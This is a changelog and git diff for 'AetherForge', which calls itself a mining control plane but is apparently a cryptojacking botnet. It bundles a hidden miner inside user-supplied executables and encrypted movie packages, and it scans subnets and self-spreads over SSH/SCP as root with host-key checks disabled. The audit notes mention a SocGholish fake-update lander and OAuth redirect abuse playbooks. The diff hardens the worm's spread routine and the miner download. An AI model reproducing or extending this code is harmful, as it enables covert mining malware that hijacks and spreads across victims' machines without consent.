| DV-13 | **No light theme** entire product is dark-only; docs wiki matches but no `prefers-color-scheme` path | global styles |
|
||||||
|
|
||||||
|
| DV-14 | **Sidebar version hard-coded** footer shows `v0.0.1` regardless of server build | `Layout.tsx` L321 |
|
||||||
|
|
||||||
|
| DV-15 | **Mission Deck formatting** source file has excessive blank lines (likely formatter artifact); harder to maintain, no runtime impact | `MissionDeckPage.tsx` |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Remaining doc gaps (need product copy / user input)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Topic | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| Default dashboard subtitle | security is just an emotion until Calibrate override marketing copy decision (DV-05) |
|
||||||
|
|
||||||
|
| SocGholish / fake-update lander | Documented in spread playbook `#third-party` tab; no shipped branded HTML template |
|
||||||
|
|
||||||
|
| OAuth redirect abuse playbook | Research only no Entra app wizard in Emberwake |
|
||||||
|
|
||||||
|
| Earnings USD quote | `TEST_RESULTS.md` notes low priority; not wired |
|
||||||
|
|
||||||
|
| Screenshot placeholders in wiki | `[Screenshot:
]` divs need real captures from operator deck |
|
||||||
|
|
||||||
|
| Sidebar version `v0.0.1` | Hard-coded in `Layout.tsx` should read server build version (DV-14) |
|
||||||
|
|
||||||
|
| Light theme | Dark-only documented; no `prefers-color-scheme` path (DV-13) |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Deferred needs refactor, heavy mocks, or external deps
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Area | Why deferred |
|
||||||
|
|
||||||
|
|------|--------------|
|
||||||
|
|
||||||
|
| `agent/cmd/mine-validate` | Standalone CLI (`main` package); exercises RandomX + live Stratum; run manually or in mining CI |
|
||||||
|
|
||||||
|
| Cloudflared `Start` with real token | Spawns/downloads binary + network; only empty-token path covered |
|
||||||
|
|
||||||
|
| `FleetScheduler.Start` loop | 1-minute ticker; logic covered via direct `tickInterval`/`tickCron` in same-package tests |
|
||||||
|
|
||||||
|
| CruciblePage full integration | Large page; helpers + `CrucibleExpandedOps` + `FileManager` tested separately |
|
||||||
|
|
||||||
|
| Fleet panel widgets | Partially covered via `components.test.tsx`; full panel flows need WS mocks |
|
||||||
|
|
||||||
|
| Path Forge / batch fusion cancel races | Needs dedicated cancel-token harness |
|
||||||
|
|
||||||
|
| Playwright E2E (`server/web/e2e/`) | Phase 8 of test-suite; requires build + temp server |
|
||||||
|
|
||||||
|
| Docker mining E2E | `.github/workflows/ci-docker-mining.yml` separate tier |
|
||||||
|
|
||||||
|
| Mesh P2P | Requires `-tags p2p` build tag |
|
||||||
|
|
||||||
|
| Platform-specific fusion launchers | OS-gated; crypto path covered in `media_crypto_test.go` |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Suite | Result | Notes |
|
||||||
|
|
||||||
|
|-------|--------|-------|
|
||||||
|
|
||||||
|
| `go test ./...` (repo root) | **N/A** | No root `go.mod`; use per-module dirs (documented in Integration audit). |
|
||||||
|
|
||||||
|
| `agent/` | **PASS** | All packages ok (`client` ~3s). |
|
||||||
|
|
||||||
|
| `server/` | **PASS** | `internal/api` ~69s, `internal/builder` ~32s. |
|
||||||
|
|
||||||
|
| `fusion/` | **PASS** | Includes `media_crypto_test.go` (untracked in git at time of pass). |
|
||||||
|
|
||||||
|
| `server/web` Vitest | **PASS** | 66 files / 587 tests (3 consecutive full runs). |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Item | Notes |
|
||||||
|
|
||||||
|
|------|-------|
|
||||||
|
|
||||||
|
| Vitest stderr `ECONNREFUSED 127.0.0.1:3000` | Failure-path / bulk-command tests in `DashboardPage`, `AgentsPage`, etc. (see Dashboard section). |
|
||||||
|
|
||||||
|
| `FleetTopologyMap` three.js ref warnings | happy-dom; cosmetic stderr. |
|
||||||
|
|
||||||
|
| Vite build chunk size warnings | `three` / vendor bundles > 500 kB; not a test failure. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Bugs Builder/Security (Bug Team 4 audit, 2026-06-06)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
*Scope: `server/internal/builder/`, `fusion/`, `server/config.go`, cross-cutting API input validation and auth edge cases.*
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### Fixed in this pass
|
### Fixed in this pass
|
||||||
|
|
||||||
| Item | Fix |
|
|
||||||
|------|-----|
|
|
||||||
| Stale `server/webroot` | Clean-synced from `server/web/dist` after `npm run build` (59 files; includes Mission Deck chunks, wiki search, spread landing). Run `devrun.bat` or `xcopy dist → webroot` after each frontend build. |
|
|
||||||
| `fleetModules.ts` fallbacks | UI fallbacks aligned with embedded `ModuleManifest` packs in `modules.go` (capabilities + descriptions). |
|
|
||||||
| `data/modules/*.json` | Verified consistent with embedded manifests (signatures computed at load time). |
|
|
||||||
|
|
||||||
### Verified (no code change needed)
|
|
||||||
|
|
||||||
| Item | Status |
|
| ID | Fix |
|
||||||
|------|--------|
|
|
||||||
| `modules_test.go`, `fleet_policy_test.go`, `campaign.go` | Compile + tests **PASS** (`go test ./internal/api/... ./internal/db/...`) |
|
|----|-----|
|
||||||
| `operatorDeck.css` import | `Layout.tsx` imports `../../styles/operatorDeck.css` — build passes |
|
|
||||||
| `/mission-deck` route | Registered in `App.tsx`; `App.test.tsx` + `MissionDeckPage.test.tsx` pass |
|
| BLD-01 | **PowerShell injection in uninstaller** `processName` and `persistenceKey` were embedded in single-quoted PS1 strings without escaping apostrophes. A `WorkerName` like `foo'; Invoke-Expression
; '` would break out of the string. Now uses `strings.ReplaceAll(
, "'", "''")` for both fields, consistent with how `installRel` was already escaped (`uninstall.go`). |
|
||||||
| `/docs` wiki search | `public/docs/index.html` + `wiki.js` ship in `dist/docs/`; search indexes `h3`/`h4` + body blocks |
|
|
||||||
| Root `go test ./...` | **N/A** — no root `go.mod`; run per-module (`agent/`, `server/`) |
|
| BLD-02 | **JSON build request body unbounded** non-multipart `POST /builder/build` decoded `r.Body` without a size limit; a 1 GiB JSON body would buffer entirely. Fixed: `http.MaxBytesReader` capped to 512 KiB before `json.Decode` (`handler.go`). |
|
||||||
|
|
||||||
|
| BLD-03 | **Unbounded backup pool/URL arrays** `BackupServerURLs`, `BackupPools`, and `RVNBackupPools` from user input are concatenated verbatim into the generated Go source (`generateBuiltinConfig`). A request with 10 000 entries would produce a multi-MB `.go` file, slowing or crashing `go build`. Fixed: arrays truncated to 10 entries each in `normalizeRequest` (`handler.go`). |
|
||||||
|
|
||||||
|
| BLD-04 | **Partial build dir not cleaned on failure** when `compileWorker`, `buildFusionFromRequest`, `writeUninstallScript`, or `MkdirAll` fail mid-build, the entire `builds/<uuid>/` tree (containing a copy of agent source + uploaded fusion payload) was left on disk. Added `cleanupBuild()` closure that calls `os.RemoveAll(buildDir)` on each failure return path (`handler.go`). |
|
||||||
|
|
||||||
|
| BLD-05 | **Weak random password entropy** `generateRandomPassword()` used only 4 random bytes (8 hex chars, 32-bit entropy), guessable in ~4 billion attempts. Increased to 8 bytes (16 hex chars, 64-bit entropy) (`router.go`). Test updated. |
|
||||||
|
|
||||||
|
| BLD-06 | **Malformed `config.json` silently ignored** `json.Unmarshal` failure was swallowed; operator saw no indication their config was rejected and defaults were running instead. Added `fmt.Fprintf(os.Stderr,
)` warning on parse failure (`config.go`). |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Deferred / large
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| ID | Severity | Location | Description |
|
||||||
|
|
||||||
|
|----|----------|----------|-------------|
|
||||||
|
|
||||||
|
| **BLD-D1** | High | `server/internal/builder/pathforge.go` | **No server-side restriction on `root_path`.** `PathForgeRequest.RootPath` is passed directly to `filepath.WalkDir` without any whitelist or prefix check. An authenticated operator (or compromised session) can supply any absolute path (e.g. `C:\Windows\System32`, `/etc/`) and the server will (a) enumerate every matching file and (b) write `.exe`, `.bat`, and `.command` companion files next to them. Fix: validate `RootPath` against an operator-configured allow-list (e.g. specific USB/NAS mount points), or at minimum reject absolute paths that escape a configured `data_dir`. |
|
||||||
|
|
||||||
|
| **BLD-D2** | Medium | `server/internal/builder/pathforge.go` `batContent` / `macContent` | **Filename injection in generated scripts.** `d.Name()` (raw filesystem filename) is interpolated into `.bat` and `.command` scripts via `fmt.Sprintf`. On Windows, a filename containing `%VAR%` expands the BAT variable; a filename with `"` breaks the quoted argument. On macOS/Linux, a filename with `'` breaks single-quoted shell strings, and a `server_url` containing `'` would allow shell command injection in the generated `curl` line. Fix: escape `"` and `%` for BAT content; escape `'` ? `'\''` for shell content. |
|
||||||
|
|
||||||
|
| **BLD-D3** | Low | `server/internal/builder/handler.go` `buildUniversalAgent` | **No partial build cleanup for universal builds.** The `cleanupBuild` fix (BLD-04) covers single-platform `buildAgent`. The corresponding `buildUniversalAgent` / `finishSpreadKit` / `finishUniversalFusion` do not clean up `buildDir` on internal failures. Extend the same pattern. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Bugs Server (Bug Team 1 audit, 2026-06-06)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Deferred / large
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| ID | Severity | Location | Description |
|
||||||
|
|
||||||
|
|----|----------|----------|-------------|
|
||||||
|
|
||||||
|
| ~~**SRV-B1**~~ | ~~High~~ | `server/main.go` | ~~**No graceful shutdown on SIGINT/SIGTERM.**~~ **Fixed.** `http.ListenAndServe` replaced with `http.Server` + goroutine; `signal.NotifyContext(syscall.SIGINT, syscall.SIGTERM)` drives a `srv.Shutdown(ctx)` with 10 s timeout on signal, allowing all `defer` calls (`cloudflared.Stop()`, `database.Close()`, `maintenance.StopRetentionJobs()`, `fleetSched.Stop()`) to run cleanly. |
|
||||||
|
|
||||||
|
| ~~**SRV-B2**~~ | ~~Medium~~ | `server/internal/db/sqlite.go` | ~~**SQLite max-connections not configured.**~~ **Fixed.** `db.SetMaxOpenConns(1)` added immediately after `sql.Open`; the single-connection pool eliminates concurrent-writer WAL-lock contention and `SQLITE_BUSY` errors under load. |
|
||||||
|
|
||||||
|
| ~~**SRV-B3**~~ | ~~Medium~~ | `server/internal/scheduler/fleet_scheduler.go` | ~~**O(tasks × agents) DB queries per minute.**~~ **Fixed.** `BulkLastFleetTaskRuns` added to the `db` package; `tickInterval` now pre-fetches all relevant `fleet_task_runs` rows in a single query and checks an in-memory `map[string]time.Time` (keyed `"agentID:taskID"`) in the nested loop — 1 query per tick instead of tasks × agents. |
|
||||||
|
|
||||||
|
| ~~**SRV-B4**~~ | ~~Medium~~ | `server/internal/api/websocket.go` `broadcastDashboard` | ~~**Stale-conn cleanup races with `HandleDashboardWS` teardown.**~~ **Fixed.** `broadcastDashboard` no longer spawns a goroutine to delete the dashboard map entry on write failure. It only closes the connection; `HandleDashboardWS` already owns all map cleanup via its existing `defer`, so the double-delete and the spurious `presence_update{online:false}` are eliminated. |
|
||||||
|
|
||||||
|
| ~~**SRV-B5**~~ | ~~Low~~ | `server/internal/api/agent_ws_limiter.go` | ~~**Rate-limiter map never purges zero-entry keys.**~~ **Fixed.** `delete(agentWSRateLim.attempts, clientIP)` called when `len(filtered) == 0` after the expiry sweep; map keys are reclaimed as IP addresses churn out of the window. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Backend
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- **`db.New` / `MkdirAll`:** Already returns error on failure (`server/internal/db/sqlite.go`); remove stale Low (open) note in Server API section when editing that doc block.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Frontend
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- **`RemoteDirBrowser` removal:** No broken imports. UI logic lives in `FileManager.tsx` + `src/help/remoteDirBrowser.ts`; `remoteDirBrowser.test.ts` covers helpers. Deleted `RemoteDirBrowser.tsx` / `.css` are not referenced elsewhere.
|
||||||
|
|
||||||
|
- **`FileManager.test.tsx`:** Untracked but picked up by Vitest (`src/**/*.test.{ts,tsx}`); 10 tests pass add to git when committing Fleet work.
|
||||||
|
|
||||||
|
- **Download test mocks:** Prefer separate `vi.fn()` per export when mocking `api/download` (real module aliases `downloadApiFile` to `downloadAuthedFile`; shared mock caused order-dependent flakes).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open large / architecture
|
||||||
|
|
||||||
|
|
||||||
### Open (document-only / ops)
|
|
||||||
|
|
||||||
| Issue | Notes |
|
| Issue | Notes |
|
||||||
|-------|--------|
|
|
||||||
| `server/webroot` not auto-synced on `npm run build` | Manual step via `devrun.bat` or copy; stale webroot served old hashed assets (e.g. missing `MissionDeckPage-*` chunks) |
|
|-------|-------|
|
||||||
| Vitest stderr noise | `FleetTopologyMap` three.js tags warn in happy-dom — tests pass (63 files / 562 tests) |
|
|
||||||
| `fusion/` package tests | Still none — coverage only in `server/internal/builder/fusion_*_test.go` |
|
| **Monolithic WebSocket context** | Every `useWebSocket()` consumer re-renders on any WS state change. Split into `FleetContext` / `EventsContext` or selector hook (`useAgents()`) for true isolation. |
|
||||||
|
|
||||||
|
| **`CruciblePage` size (~2k lines)** | Single component owns terminal, fleet list, tabs, file manager hard to memoize subtrees; consider section components + `React.memo` boundaries. |
|
||||||
|
|
||||||
|
| **Per-agent `stats_update` broadcast** | Backend sends one dashboard message per agent stats tick; no batching/coalescing in `websocket.go`. Fleet of N agents ? N JSON parses/frame on client. |
|
||||||
|
|
||||||
|
| **`SystemStatusBar` REST poll duplicates WS** | Polls `listAgents` every 15s though fleet already streams via WebSocket wire readout to WS or drop agent poll. |
|
||||||
|
|
||||||
|
| **Vite chunk size** | `three` (~600 kB) and vendor bundles trigger build warnings; FleetTopologyMap loads three on Dashboard already lazy but still heavy first open. |
|
||||||
|
|
||||||
|
| **No terminal virtualization** | DOM cap at 400 lines helps; full virtual list (react-window) needed for 2000-line scrollback without mount cost. |
|
||||||
|
|
||||||
|
| **MatrixRain always mounted in Layout** | Runs on every route including mobile (hidden sidebar but component still mounts on desktop). Consider `content-visibility` or route-gated mount. |
|
||||||
|
|
||||||
|
| **Path Tracer 2s REST poll** | No WS push for hop progress; acceptable but adds load during orchestration. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Open medium
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Notes |
|
||||||
|
|
||||||
|
|-------|-------|
|
||||||
|
|
||||||
|
| **Emberwake war room double feed** | 15s client poll + 30s server `runWarRoomBroadcast` redundant; prefer WS-only with poll fallback. |
|
||||||
|
|
||||||
|
| **CursorFire + SacredGeometry on all routes** | Desktop-only effects still mount with Layout; gate on `VisualEffectsContext` or route. |
|
||||||
|
|
||||||
|
| **Earnings estimate on every hashrate change** | Dashboard debounces via `totalHashrate` effect could share chart sampler interval. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Deferred large / complex
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| Issue | Location | Notes |
|
||||||
|
|
||||||
|
|-------|----------|-------|
|
||||||
|
|
||||||
|
| ~~**WebSocketProvider async race**~~ | `context/WebSocketProvider.tsx` | **Fixed (2026-06-06).** Added `openingRef` (`useRef(false)`) in-flight guard -- a second `connect()` call while a ticket fetch is in progress returns early. Added `AbortController` (`ticketAbortRef`) to cancel any prior in-flight fetch; aborted invocations bail before creating a `WebSocket`. `openingRef` is always reset in a `finally` block. |
|
||||||
|
|
||||||
|
| ~~**`useVisibleInterval` calls `fn` on every dep change**~~ | `hooks/usePageVisible.ts` | **Fixed (2026-06-06).** `fn` is now stored in a `fnRef` (`useRef`). The effect depends only on `ms`, `enabled`, and `visible` -- an unstable `fn` reference no longer re-runs the effect or triggers an extra immediate call. The interval always invokes `fnRef.current()` so callers always see the latest `fn` without extra renders. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Deferred large / medium
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
| ID | Issue | Location | Notes |
|
||||||
|
|
||||||
|
|----|-------|----------|-------|
|
||||||
|
|
||||||
|
| ~~BA-03~~ | ~~**`write()` has no write deadline**~~ | `client/client.go` — `write()` | **Fixed.** `c.conn.SetWriteDeadline(time.Now().Add(15*time.Second))` is now called immediately before `WriteJSON` (and cleared afterward), so a stalled TCP socket cannot hold `c.mu` indefinitely and deadlock share submission, stats, and command-result goroutines. |
|
||||||
|
|
||||||
|
| ~~BA-04~~ | ~~**SSH/SCP spread commands have no overall timeout**~~ | `deploy/autospread_unix.go` `attemptSSHSpread()` | `ConnectTimeout=3` limits only the TCP handshake; after a successful connection, `scp.Run()` and `ssh
start.Run()` have no deadline. A slow or unresponsive host stalls the goroutine indefinitely, holding a slot in `spreadSem` (16 total). With 16 such hangs in flight, all future spread goroutines block waiting on the semaphore. Fix: use `exec.CommandContext` with a ~30 s deadline wrapping the whole SCP + SSH sequence. **Fixed:** `exec.CommandContext` with `context.WithTimeout(30s)` wraps the full SCP + SSH sequence; a hung host releases its semaphore slot after 30 s. |
|
||||||
|
|
||||||
|
| ~~BA-05~~ | ~~**GPU miner binary download has no HTTP timeout or body-size cap**~~ | `client/gpu_miner.go` `downloadAndExtract()` | `http.Get(url)` with no timeout and `io.ReadAll(resp.Body)` with no size limit. A slow redirect or a response that trickles bytes forever will hang the goroutine; a gigabyte-scale response could OOM the agent. Fix: use an `http.Client` with a 5-min overall timeout, and wrap the body in `io.LimitReader(resp.Body, 512<<20)`. **Fixed:** `http.Client{Timeout: 5*time.Minute}` + `io.LimitReader(resp.Body, 512<<20)`. |
|
||||||
|
|
||||||
|
| BA-06 | **`CollectFullSysCheck` blocks for 45+ s on empty subnets** | `client/syscheck.go` `CollectFullSysCheck()` | Calls `deploy.ScanLocalSubnet(56)` synchronously in the command handler goroutine. `ScanLocalSubnet` probes up to 56 hosts × ~0.8 s timeout = ~45 s on an empty /24. During this time the agent cannot process incoming WebSocket messages (it is running in a command goroutine, but the read loop is separate; however if the server has a short reply timeout the session may drop). Consider running the subnet scan in a background goroutine and returning a "pending" token, or reducing the default `maxHosts` for syscheck. |
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Infrastructure
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- **Root `fix.py`, `fix3.py`, `fix4.py`:** Untracked one-off Python string/regex editors targeting `CruciblePage.tsx` (ProtocolTunnel `onDispatch`, GPU hashrate label). Intended changes appear already applied in `CruciblePage.tsx`. Safe to delete after review; not run in CI do not rely on them for builds.
|
||||||
|
|
||||||
|
- **CI:** Only `.github/workflows/ci-docker-mining.yml` (Docker mining); no root Makefile test target found.
|
||||||
|
|
||||||
|
- **`data/login-credentials.json`, `data/users.json`:** Untracked; do not commit (secrets/local data).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
|||||||
| Layer | What it does |
|
| Layer | What it does |
|
||||||
|-------|----------------|
|
|-------|----------------|
|
||||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide |
|
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` |
|
||||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
||||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||||
|
|||||||
@@ -982,7 +982,13 @@ func (c *AgentClient) write(msg Message) error {
|
|||||||
if c.conn == nil {
|
if c.conn == nil {
|
||||||
return fmt.Errorf("not connected")
|
return fmt.Errorf("not connected")
|
||||||
}
|
}
|
||||||
return c.conn.WriteJSON(msg)
|
// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
|
||||||
|
// WriteJSON indefinitely while holding c.mu, which would deadlock every
|
||||||
|
// other goroutine that needs c.mu (share submission, stats, commands).
|
||||||
|
_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
|
||||||
|
err := c.conn.WriteJSON(msg)
|
||||||
|
_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// needsStratumFallback returns true when either:
|
// needsStratumFallback returns true when either:
|
||||||
|
|||||||
@@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
|
|||||||
pauseCh: make(chan struct{}),
|
pauseCh: make(chan struct{}),
|
||||||
resumeCh: make(chan struct{}),
|
resumeCh: make(chan struct{}),
|
||||||
}
|
}
|
||||||
// Start with resumeCh closed so the run loop is not blocked.
|
// pauseCh starts open; waitIfPaused hits the default branch and returns
|
||||||
close(g.resumeCh)
|
// true immediately, so no pre-close of resumeCh is needed (and
|
||||||
|
// pre-closing it would break the first Pause() — the inner select would
|
||||||
|
// fire on the already-closed channel instead of blocking).
|
||||||
return g
|
return g
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func downloadAndExtract(url, destDir, targetFile string) error {
|
func downloadAndExtract(url, destDir, targetFile string) error {
|
||||||
resp, err := http.Get(url) //nolint:noctx
|
client := &http.Client{Timeout: 5 * time.Minute}
|
||||||
|
resp, err := client.Get(url)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error {
|
|||||||
if resp.StatusCode != http.StatusOK {
|
if resp.StatusCode != http.StatusOK {
|
||||||
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
|
||||||
}
|
}
|
||||||
data, err := io.ReadAll(resp.Body)
|
data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,6 +23,6 @@ func silentRun(name string, arg ...string) error {
|
|||||||
return exec.Command(name, arg...).Run()
|
return exec.Command(name, arg...).Run()
|
||||||
}
|
}
|
||||||
|
|
||||||
func silentStart(cmd *exec.Cmd) error {
|
func silentStart(name string, arg ...string) error {
|
||||||
return cmd.Start()
|
return exec.Command(name, arg...).Start()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -54,12 +54,8 @@ func TestSilentCmdReturnsCmd(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSilentStartAndWait(t *testing.T) {
|
func TestSilentStart(t *testing.T) {
|
||||||
cmd := exec.Command("true")
|
if err := silentStart("true"); err != nil {
|
||||||
if err := silentStart(cmd); err != nil {
|
|
||||||
t.Fatalf("silentStart: %v", err)
|
t.Fatalf("silentStart: %v", err)
|
||||||
}
|
}
|
||||||
if err := cmd.Wait(); err != nil {
|
|
||||||
t.Errorf("cmd.Wait after silentStart: %v", err)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
54
agent/client/silent_windows_test.go
Normal file
54
agent/client/silent_windows_test.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package client
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestSilentCombinedOutputEcho(t *testing.T) {
|
||||||
|
out, err := silentCombinedOutput("cmd", "/c", "echo hello")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("silentCombinedOutput: %v", err)
|
||||||
|
}
|
||||||
|
if string(out) != "hello\r\n" && string(out) != "hello\n" {
|
||||||
|
t.Errorf("got %q, want hello with newline", string(out))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSilentOutputEcho(t *testing.T) {
|
||||||
|
out, err := silentOutput("cmd", "/c", "echo world")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("silentOutput: %v", err)
|
||||||
|
}
|
||||||
|
if string(out) != "world\r\n" && string(out) != "world\n" {
|
||||||
|
t.Errorf("got %q, want world with newline", string(out))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSilentRunTrue(t *testing.T) {
|
||||||
|
if err := silentRun("cmd", "/c", "exit 0"); err != nil {
|
||||||
|
t.Errorf("silentRun(true): %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSilentRunFalse(t *testing.T) {
|
||||||
|
err := silentRun("cmd", "/c", "exit 1")
|
||||||
|
if err == nil {
|
||||||
|
t.Error("silentRun(false) should return non-nil error")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSilentCmdReturnsCmd(t *testing.T) {
|
||||||
|
cmd := silentCmd("cmd", "/c", "echo hi")
|
||||||
|
if cmd == nil {
|
||||||
|
t.Fatal("silentCmd returned nil")
|
||||||
|
}
|
||||||
|
if cmd.Path == "" {
|
||||||
|
t.Error("silentCmd returned cmd with empty Path")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSilentStart(t *testing.T) {
|
||||||
|
if err := silentStart("cmd", "/c", "exit 0"); err != nil {
|
||||||
|
t.Fatalf("silentStart: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build !windows && !linux
|
//go:build !windows && !linux && !darwin
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build !windows && !linux
|
//go:build !windows && !linux && !darwin
|
||||||
|
|
||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
package deploy
|
package deploy
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
@@ -118,22 +119,26 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
|||||||
}
|
}
|
||||||
conn.Close()
|
conn.Close()
|
||||||
|
|
||||||
|
// 30 s overall deadline covers both SCP upload and SSH start command.
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
||||||
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
||||||
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
scp := exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
||||||
if err := scp.Run(); err != nil {
|
if err := scp.Run(); err != nil {
|
||||||
user := os.Getenv("USER")
|
user := os.Getenv("USER")
|
||||||
if user == "" {
|
if user == "" {
|
||||||
user = "ubuntu"
|
user = "ubuntu"
|
||||||
}
|
}
|
||||||
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
scp = exec.CommandContext(ctx, "scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
||||||
if err := scp.Run(); err != nil {
|
if err := scp.Run(); err != nil {
|
||||||
recordSpreadAttempt(target, false, "scp failed")
|
recordSpreadAttempt(target, false, "scp failed")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
